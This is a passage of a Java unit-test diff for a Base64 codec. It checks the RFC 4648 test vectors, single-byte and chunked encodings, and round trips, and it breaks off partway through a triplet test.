+     * <li>BASE64("foo") = "Zm9v"</li>
+     * <li>BASE64("foob") = "Zm9vYg=="</li>
+     * <li>BASE64("fooba") = "Zm9vYmE="</li>
+     * <li>BASE64("foobar") = "Zm9vYmFy"</li>
+     * </ul>
+     *
+     * @see <a href="http://tools.ietf.org/html/rfc4648">http://tools.ietf.org/html/rfc4648</a>
+     */
+    @Test
+    public void testRfc4648Section10Decode() {
+        assertEquals("", StringUtils.newStringUsAscii(Base64.decodeBase64("")));
+        assertEquals("f", StringUtils.newStringUsAscii(Base64.decodeBase64("Zg==")));
+        assertEquals("fo", StringUtils.newStringUsAscii(Base64.decodeBase64("Zm8=")));
+        assertEquals("foo", StringUtils.newStringUsAscii(Base64.decodeBase64("Zm9v")));
+        assertEquals("foob", StringUtils.newStringUsAscii(Base64.decodeBase64("Zm9vYg==")));
+        assertEquals("fooba", StringUtils.newStringUsAscii(Base64.decodeBase64("Zm9vYmE=")));
+        assertEquals("foobar", StringUtils.newStringUsAscii(Base64.decodeBase64("Zm9vYmFy")));
+    }
+
+    /**
+     * Tests RFC 4648 section 10 test vectors.
+     * <ul>
+     * <li>BASE64("") = ""</li>
+     * <li>BASE64("f") = "Zg=="</li>
+     * <li>BASE64("fo") = "Zm8="</li>
+     * <li>BASE64("foo") = "Zm9v"</li>
+     * <li>BASE64("foob") = "Zm9vYg=="</li>
+     * <li>BASE64("fooba") = "Zm9vYmE="</li>
+     * <li>BASE64("foobar") = "Zm9vYmFy"</li>
+     * </ul>
+     *
+     * @see <a href="http://tools.ietf.org/html/rfc4648">http://tools.ietf.org/html/rfc4648</a>
+     */
+    @Test
+    public void testRfc4648Section10DecodeWithCrLf() {
+        final String CRLF = StringUtils.newStringUsAscii(Base64.CHUNK_SEPARATOR);
+        assertEquals("", StringUtils.newStringUsAscii(Base64.decodeBase64("" + CRLF)));
+        assertEquals("f", StringUtils.newStringUsAscii(Base64.decodeBase64("Zg==" + CRLF)));
+        assertEquals("fo", StringUtils.newStringUsAscii(Base64.decodeBase64("Zm8=" + CRLF)));
+        assertEquals("foo", StringUtils.newStringUsAscii(Base64.decodeBase64("Zm9v" + CRLF)));
+        assertEquals("foob", StringUtils.newStringUsAscii(Base64.decodeBase64("Zm9vYg==" + CRLF)));
+        assertEquals("fooba", StringUtils.newStringUsAscii(Base64.decodeBase64("Zm9vYmE=" + CRLF)));
+        assertEquals("foobar", StringUtils.newStringUsAscii(Base64.decodeBase64("Zm9vYmFy" + CRLF)));
+    }
+
+    /**
+     * Tests RFC 4648 section 10 test vectors.
+     * <ul>
+     * <li>BASE64("") = ""</li>
+     * <li>BASE64("f") = "Zg=="</li>
+     * <li>BASE64("fo") = "Zm8="</li>
+     * <li>BASE64("foo") = "Zm9v"</li>
+     * <li>BASE64("foob") = "Zm9vYg=="</li>
+     * <li>BASE64("fooba") = "Zm9vYmE="</li>
+     * <li>BASE64("foobar") = "Zm9vYmFy"</li>
+     * </ul>
+     *
+     * @see <a href="http://tools.ietf.org/html/rfc4648">http://tools.ietf.org/html/rfc4648</a>
+     */
+    @Test
+    public void testRfc4648Section10Encode() {
+        assertEquals("", Base64.encodeBase64String(StringUtils.getBytesUtf8("")));
+        assertEquals("Zg==", Base64.encodeBase64String(StringUtils.getBytesUtf8("f")));
+        assertEquals("Zm8=", Base64.encodeBase64String(StringUtils.getBytesUtf8("fo")));
+        assertEquals("Zm9v", Base64.encodeBase64String(StringUtils.getBytesUtf8("foo")));
+        assertEquals("Zm9vYg==", Base64.encodeBase64String(StringUtils.getBytesUtf8("foob")));
+        assertEquals("Zm9vYmE=", Base64.encodeBase64String(StringUtils.getBytesUtf8("fooba")));
+        assertEquals("Zm9vYmFy", Base64.encodeBase64String(StringUtils.getBytesUtf8("foobar")));
+    }
+
+    /**
+     * Tests RFC 4648 section 10 test vectors.
+     * <ul>
+     * <li>BASE64("") = ""</li>
+     * <li>BASE64("f") = "Zg=="</li>
+     * <li>BASE64("fo") = "Zm8="</li>
+     * <li>BASE64("foo") = "Zm9v"</li>
+     * <li>BASE64("foob") = "Zm9vYg=="</li>
+     * <li>BASE64("fooba") = "Zm9vYmE="</li>
+     * <li>BASE64("foobar") = "Zm9vYmFy"</li>
+     * </ul>
+     *
+     * @see <a href="http://tools.ietf.org/html/rfc4648">http://tools.ietf.org/html/rfc4648</a>
+     */
+    @Test
+    public void testRfc4648Section10DecodeEncode() {
+        testDecodeEncode("");
+        testDecodeEncode("Zg==");
+        testDecodeEncode("Zm8=");
+        testDecodeEncode("Zm9v");
+        testDecodeEncode("Zm9vYg==");
+        testDecodeEncode("Zm9vYmE=");
+        testDecodeEncode("Zm9vYmFy");
+    }
+
+    private void testDecodeEncode(final String encodedText) {
+        final String decodedText = StringUtils.newStringUsAscii(Base64.decodeBase64(encodedText));
+        final String encodedText2 = Base64.encodeBase64String(StringUtils.getBytesUtf8(decodedText));
+        assertEquals(encodedText, encodedText2);
+    }
+
+    /**
+     * Tests RFC 4648 section 10 test vectors.
+     * <ul>
+     * <li>BASE64("") = ""</li>
+     * <li>BASE64("f") = "Zg=="</li>
+     * <li>BASE64("fo") = "Zm8="</li>
+     * <li>BASE64("foo") = "Zm9v"</li>
+     * <li>BASE64("foob") = "Zm9vYg=="</li>
+     * <li>BASE64("fooba") = "Zm9vYmE="</li>
+     * <li>BASE64("foobar") = "Zm9vYmFy"</li>
+     * </ul>
+     *
+     * @see <a href="http://tools.ietf.org/html/rfc4648">http://tools.ietf.org/html/rfc4648</a>
+     */
+    @Test
+    public void testRfc4648Section10EncodeDecode() {
+        testEncodeDecode("");
+        testEncodeDecode("f");
+        testEncodeDecode("fo");
+        testEncodeDecode("foo");
+        testEncodeDecode("foob");
+        testEncodeDecode("fooba");
+        testEncodeDecode("foobar");
+    }
+
+    private void testEncodeDecode(final String plainText) {
+        final String encodedText = Base64.encodeBase64String(StringUtils.getBytesUtf8(plainText));
+        final String decodedText = StringUtils.newStringUsAscii(Base64.decodeBase64(encodedText));
+        assertEquals(plainText, decodedText);
+    }
+
+    @Test
+    public void testSingletons() {
+        assertEquals("AA==", new String(Base64.encodeBase64(new byte[]{(byte) 0})));
+        assertEquals("AQ==", new String(Base64.encodeBase64(new byte[]{(byte) 1})));
+        assertEquals("Ag==", new String(Base64.encodeBase64(new byte[]{(byte) 2})));
+        assertEquals("Aw==", new String(Base64.encodeBase64(new byte[]{(byte) 3})));
+        assertEquals("BA==", new String(Base64.encodeBase64(new byte[]{(byte) 4})));
+        assertEquals("BQ==", new String(Base64.encodeBase64(new byte[]{(byte) 5})));
+        assertEquals("Bg==", new String(Base64.encodeBase64(new byte[]{(byte) 6})));
+        assertEquals("Bw==", new String(Base64.encodeBase64(new byte[]{(byte) 7})));
+        assertEquals("CA==", new String(Base64.encodeBase64(new byte[]{(byte) 8})));
+        assertEquals("CQ==", new String(Base64.encodeBase64(new byte[]{(byte) 9})));
+        assertEquals("Cg==", new String(Base64.encodeBase64(new byte[]{(byte) 10})));
+        assertEquals("Cw==", new String(Base64.encodeBase64(new byte[]{(byte) 11})));
+        assertEquals("DA==", new String(Base64.encodeBase64(new byte[]{(byte) 12})));
+        assertEquals("DQ==", new String(Base64.encodeBase64(new byte[]{(byte) 13})));
+        assertEquals("Dg==", new String(Base64.encodeBase64(new byte[]{(byte) 14})));
+        assertEquals("Dw==", new String(Base64.encodeBase64(new byte[]{(byte) 15})));
+        assertEquals("EA==", new String(Base64.encodeBase64(new byte[]{(byte) 16})));
+        assertEquals("EQ==", new String(Base64.encodeBase64(new byte[]{(byte) 17})));
+        assertEquals("Eg==", new String(Base64.encodeBase64(new byte[]{(byte) 18})));
+        assertEquals("Ew==", new String(Base64.encodeBase64(new byte[]{(byte) 19})));
+        assertEquals("FA==", new String(Base64.encodeBase64(new byte[]{(byte) 20})));
+        assertEquals("FQ==", new String(Base64.encodeBase64(new byte[]{(byte) 21})));
+        assertEquals("Fg==", new String(Base64.encodeBase64(new byte[]{(byte) 22})));
+        assertEquals("Fw==", new String(Base64.encodeBase64(new byte[]{(byte) 23})));
+        assertEquals("GA==", new String(Base64.encodeBase64(new byte[]{(byte) 24})));
+        assertEquals("GQ==", new String(Base64.encodeBase64(new byte[]{(byte) 25})));
+        assertEquals("Gg==", new String(Base64.encodeBase64(new byte[]{(byte) 26})));
+        assertEquals("Gw==", new String(Base64.encodeBase64(new byte[]{(byte) 27})));
+        assertEquals("HA==", new String(Base64.encodeBase64(new byte[]{(byte) 28})));
+        assertEquals("HQ==", new String(Base64.encodeBase64(new byte[]{(byte) 29})));
+        assertEquals("Hg==", new String(Base64.encodeBase64(new byte[]{(byte) 30})));
+        assertEquals("Hw==", new String(Base64.encodeBase64(new byte[]{(byte) 31})));
+        assertEquals("IA==", new String(Base64.encodeBase64(new byte[]{(byte) 32})));
+        assertEquals("IQ==", new String(Base64.encodeBase64(new byte[]{(byte) 33})));
+        assertEquals("Ig==", new String(Base64.encodeBase64(new byte[]{(byte) 34})));
+        assertEquals("Iw==", new String(Base64.encodeBase64(new byte[]{(byte) 35})));
+        assertEquals("JA==", new String(Base64.encodeBase64(new byte[]{(byte) 36})));
+        assertEquals("JQ==", new String(Base64.encodeBase64(new byte[]{(byte) 37})));
+        assertEquals("Jg==", new String(Base64.encodeBase64(new byte[]{(byte) 38})));
+        assertEquals("Jw==", new String(Base64.encodeBase64(new byte[]{(byte) 39})));
+        assertEquals("KA==", new String(Base64.encodeBase64(new byte[]{(byte) 40})));
+        assertEquals("KQ==", new String(Base64.encodeBase64(new byte[]{(byte) 41})));
+        assertEquals("Kg==", new String(Base64.encodeBase64(new byte[]{(byte) 42})));
+        assertEquals("Kw==", new String(Base64.encodeBase64(new byte[]{(byte) 43})));
+        assertEquals("LA==", new String(Base64.encodeBase64(new byte[]{(byte) 44})));
+        assertEquals("LQ==", new String(Base64.encodeBase64(new byte[]{(byte) 45})));
+        assertEquals("Lg==", new String(Base64.encodeBase64(new byte[]{(byte) 46})));
+        assertEquals("Lw==", new String(Base64.encodeBase64(new byte[]{(byte) 47})));
+        assertEquals("MA==", new String(Base64.encodeBase64(new byte[]{(byte) 48})));
+        assertEquals("MQ==", new String(Base64.encodeBase64(new byte[]{(byte) 49})));
+        assertEquals("Mg==", new String(Base64.encodeBase64(new byte[]{(byte) 50})));
+        assertEquals("Mw==", new String(Base64.encodeBase64(new byte[]{(byte) 51})));
+        assertEquals("NA==", new String(Base64.encodeBase64(new byte[]{(byte) 52})));
+        assertEquals("NQ==", new String(Base64.encodeBase64(new byte[]{(byte) 53})));
+        assertEquals("Ng==", new String(Base64.encodeBase64(new byte[]{(byte) 54})));
+        assertEquals("Nw==", new String(Base64.encodeBase64(new byte[]{(byte) 55})));
+        assertEquals("OA==", new String(Base64.encodeBase64(new byte[]{(byte) 56})));
+        assertEquals("OQ==", new String(Base64.encodeBase64(new byte[]{(byte) 57})));
+        assertEquals("Og==", new String(Base64.encodeBase64(new byte[]{(byte) 58})));
+        assertEquals("Ow==", new String(Base64.encodeBase64(new byte[]{(byte) 59})));
+        assertEquals("PA==", new String(Base64.encodeBase64(new byte[]{(byte) 60})));
+        assertEquals("PQ==", new String(Base64.encodeBase64(new byte[]{(byte) 61})));
+        assertEquals("Pg==", new String(Base64.encodeBase64(new byte[]{(byte) 62})));
+        assertEquals("Pw==", new String(Base64.encodeBase64(new byte[]{(byte) 63})));
+        assertEquals("QA==", new String(Base64.encodeBase64(new byte[]{(byte) 64})));
+        assertEquals("QQ==", new String(Base64.encodeBase64(new byte[]{(byte) 65})));
+        assertEquals("Qg==", new String(Base64.encodeBase64(new byte[]{(byte) 66})));
+        assertEquals("Qw==", new String(Base64.encodeBase64(new byte[]{(byte) 67})));
+        assertEquals("RA==", new String(Base64.encodeBase64(new byte[]{(byte) 68})));
+        assertEquals("RQ==", new String(Base64.encodeBase64(new byte[]{(byte) 69})));
+        assertEquals("Rg==", new String(Base64.encodeBase64(new byte[]{(byte) 70})));
+        assertEquals("Rw==", new String(Base64.encodeBase64(new byte[]{(byte) 71})));
+        assertEquals("SA==", new String(Base64.encodeBase64(new byte[]{(byte) 72})));
+        assertEquals("SQ==", new String(Base64.encodeBase64(new byte[]{(byte) 73})));
+        assertEquals("Sg==", new String(Base64.encodeBase64(new byte[]{(byte) 74})));
+        assertEquals("Sw==", new String(Base64.encodeBase64(new byte[]{(byte) 75})));
+        assertEquals("TA==", new String(Base64.encodeBase64(new byte[]{(byte) 76})));
+        assertEquals("TQ==", new String(Base64.encodeBase64(new byte[]{(byte) 77})));
+        assertEquals("Tg==", new String(Base64.encodeBase64(new byte[]{(byte) 78})));
+        assertEquals("Tw==", new String(Base64.encodeBase64(new byte[]{(byte) 79})));
+        assertEquals("UA==", new String(Base64.encodeBase64(new byte[]{(byte) 80})));
+        assertEquals("UQ==", new String(Base64.encodeBase64(new byte[]{(byte) 81})));
+        assertEquals("Ug==", new String(Base64.encodeBase64(new byte[]{(byte) 82})));
+        assertEquals("Uw==", new String(Base64.encodeBase64(new byte[]{(byte) 83})));
+        assertEquals("VA==", new String(Base64.encodeBase64(new byte[]{(byte) 84})));
+        assertEquals("VQ==", new String(Base64.encodeBase64(new byte[]{(byte) 85})));
+        assertEquals("Vg==", new String(Base64.encodeBase64(new byte[]{(byte) 86})));
+        assertEquals("Vw==", new String(Base64.encodeBase64(new byte[]{(byte) 87})));
+        assertEquals("WA==", new String(Base64.encodeBase64(new byte[]{(byte) 88})));
+        assertEquals("WQ==", new String(Base64.encodeBase64(new byte[]{(byte) 89})));
+        assertEquals("Wg==", new String(Base64.encodeBase64(new byte[]{(byte) 90})));
+        assertEquals("Ww==", new String(Base64.encodeBase64(new byte[]{(byte) 91})));
+        assertEquals("XA==", new String(Base64.encodeBase64(new byte[]{(byte) 92})));
+        assertEquals("XQ==", new String(Base64.encodeBase64(new byte[]{(byte) 93})));
+        assertEquals("Xg==", new String(Base64.encodeBase64(new byte[]{(byte) 94})));
+        assertEquals("Xw==", new String(Base64.encodeBase64(new byte[]{(byte) 95})));
+        assertEquals("YA==", new String(Base64.encodeBase64(new byte[]{(byte) 96})));
+        assertEquals("YQ==", new String(Base64.encodeBase64(new byte[]{(byte) 97})));
+        assertEquals("Yg==", new String(Base64.encodeBase64(new byte[]{(byte) 98})));
+        assertEquals("Yw==", new String(Base64.encodeBase64(new byte[]{(byte) 99})));
+        assertEquals("ZA==", new String(Base64.encodeBase64(new byte[]{(byte) 100})));
+        assertEquals("ZQ==", new String(Base64.encodeBase64(new byte[]{(byte) 101})));
+        assertEquals("Zg==", new String(Base64.encodeBase64(new byte[]{(byte) 102})));
+        assertEquals("Zw==", new String(Base64.encodeBase64(new byte[]{(byte) 103})));
+        assertEquals("aA==", new String(Base64.encodeBase64(new byte[]{(byte) 104})));
+        for (int i = -128; i <= 127; i++) {
+            final byte test[] = {(byte) i};
+            assertTrue(Arrays.equals(test, Base64.decodeBase64(Base64.encodeBase64(test))));
+        }
+    }
+
+    @Test
+    public void testSingletonsChunked() {
+        assertEquals("AA==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 0})));
+        assertEquals("AQ==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 1})));
+        assertEquals("Ag==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 2})));
+        assertEquals("Aw==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 3})));
+        assertEquals("BA==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 4})));
+        assertEquals("BQ==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 5})));
+        assertEquals("Bg==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 6})));
+        assertEquals("Bw==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 7})));
+        assertEquals("CA==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 8})));
+        assertEquals("CQ==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 9})));
+        assertEquals("Cg==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 10})));
+        assertEquals("Cw==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 11})));
+        assertEquals("DA==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 12})));
+        assertEquals("DQ==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 13})));
+        assertEquals("Dg==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 14})));
+        assertEquals("Dw==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 15})));
+        assertEquals("EA==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 16})));
+        assertEquals("EQ==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 17})));
+        assertEquals("Eg==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 18})));
+        assertEquals("Ew==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 19})));
+        assertEquals("FA==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 20})));
+        assertEquals("FQ==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 21})));
+        assertEquals("Fg==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 22})));
+        assertEquals("Fw==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 23})));
+        assertEquals("GA==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 24})));
+        assertEquals("GQ==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 25})));
+        assertEquals("Gg==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 26})));
+        assertEquals("Gw==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 27})));
+        assertEquals("HA==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 28})));
+        assertEquals("HQ==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 29})));
+        assertEquals("Hg==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 30})));
+        assertEquals("Hw==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 31})));
+        assertEquals("IA==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 32})));
+        assertEquals("IQ==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 33})));
+        assertEquals("Ig==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 34})));
+        assertEquals("Iw==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 35})));
+        assertEquals("JA==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 36})));
+        assertEquals("JQ==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 37})));
+        assertEquals("Jg==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 38})));
+        assertEquals("Jw==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 39})));
+        assertEquals("KA==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 40})));
+        assertEquals("KQ==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 41})));
+        assertEquals("Kg==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 42})));
+        assertEquals("Kw==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 43})));
+        assertEquals("LA==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 44})));
+        assertEquals("LQ==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 45})));
+        assertEquals("Lg==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 46})));
+        assertEquals("Lw==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 47})));
+        assertEquals("MA==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 48})));
+        assertEquals("MQ==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 49})));
+        assertEquals("Mg==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 50})));
+        assertEquals("Mw==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 51})));
+        assertEquals("NA==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 52})));
+        assertEquals("NQ==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 53})));
+        assertEquals("Ng==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 54})));
+        assertEquals("Nw==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 55})));
+        assertEquals("OA==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 56})));
+        assertEquals("OQ==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 57})));
+        assertEquals("Og==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 58})));
+        assertEquals("Ow==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 59})));
+        assertEquals("PA==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 60})));
+        assertEquals("PQ==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 61})));
+        assertEquals("Pg==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 62})));
+        assertEquals("Pw==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 63})));
+        assertEquals("QA==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 64})));
+        assertEquals("QQ==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 65})));
+        assertEquals("Qg==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 66})));
+        assertEquals("Qw==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 67})));
+        assertEquals("RA==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 68})));
+        assertEquals("RQ==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 69})));
+        assertEquals("Rg==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 70})));
+        assertEquals("Rw==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 71})));
+        assertEquals("SA==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 72})));
+        assertEquals("SQ==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 73})));
+        assertEquals("Sg==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 74})));
+        assertEquals("Sw==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 75})));
+        assertEquals("TA==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 76})));
+        assertEquals("TQ==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 77})));
+        assertEquals("Tg==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 78})));
+        assertEquals("Tw==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 79})));
+        assertEquals("UA==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 80})));
+        assertEquals("UQ==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 81})));
+        assertEquals("Ug==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 82})));
+        assertEquals("Uw==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 83})));
+        assertEquals("VA==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 84})));
+        assertEquals("VQ==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 85})));
+        assertEquals("Vg==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 86})));
+        assertEquals("Vw==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 87})));
+        assertEquals("WA==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 88})));
+        assertEquals("WQ==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 89})));
+        assertEquals("Wg==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 90})));
+        assertEquals("Ww==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 91})));
+        assertEquals("XA==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 92})));
+        assertEquals("XQ==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 93})));
+        assertEquals("Xg==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 94})));
+        assertEquals("Xw==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 95})));
+        assertEquals("YA==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 96})));
+        assertEquals("YQ==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 97})));
+        assertEquals("Yg==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 98})));
+        assertEquals("Yw==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 99})));
+        assertEquals("ZA==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 100})));
+        assertEquals("ZQ==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 101})));
+        assertEquals("Zg==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 102})));
+        assertEquals("Zw==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 103})));
+        assertEquals("aA==\r\n", new String(Base64.encodeBase64Chunked(new byte[]{(byte) 104})));
+    }
+
+    @Test
+    public void testTriplets() {
+        assertEquals("AAAA", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 0})));
+        assertEquals("AAAB", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 1})));
+        assertEquals("AAAC", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 2})));
+        assertEquals("AAAD", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 3})));
+        assertEquals("AAAE", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 4})));
+        assertEquals("AAAF", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 5})));
+        assertEquals("AAAG", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 6})));
+        assertEquals("AAAH", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 7})));
+        assertEquals("AAAI", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 8})));
+        assertEquals("AAAJ", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 9})));
+        assertEquals("AAAK", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 10})));
+        assertEquals("AAAL", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 11})));
+        assertEquals("AAAM", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 12})));
+        assertEquals("AAAN", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 13})));
+        assertEquals("AAAO", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 14})));
+        assertEquals("AAAP", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 15})));
+        assertEquals("AAAQ", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 16})));
+        assertEquals("AAAR", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 17})));
+        assertEquals("AAAS", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 18})));
+        assertEquals("AAAT", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 19})));
+        assertEquals("AAAU", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 20})));
+        assertEquals("AAAV", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 21})));
+        assertEquals("AAAW", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 22})));
+        assertEquals("AAAX", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 23})));
+        assertEquals("AAAY", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 24})));
+        assertEquals("AAAZ", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 25})));
+        assertEquals("AAAa", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 26})));
+        assertEquals("AAAb", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 27})));
+        assertEquals("AAAc", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 28})));
+        assertEquals("AAAd", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 29})));
+        assertEquals("AAAe", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 30})));
+        assertEquals("AAAf", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 31})));
+        assertEquals("AAAg", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 32})));
+        assertEquals("AAAh", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 33})));
+        assertEquals("AAAi", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 34})));
+        assertEquals("AAAj", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 35})));
+        assertEquals("AAAk", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 36})));
+        assertEquals("AAAl", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 37})));
+        assertEquals("AAAm", new String(Base64.encodeBase64(new byte[]{(byte) 0, (byte) 0, (byte) 38})));
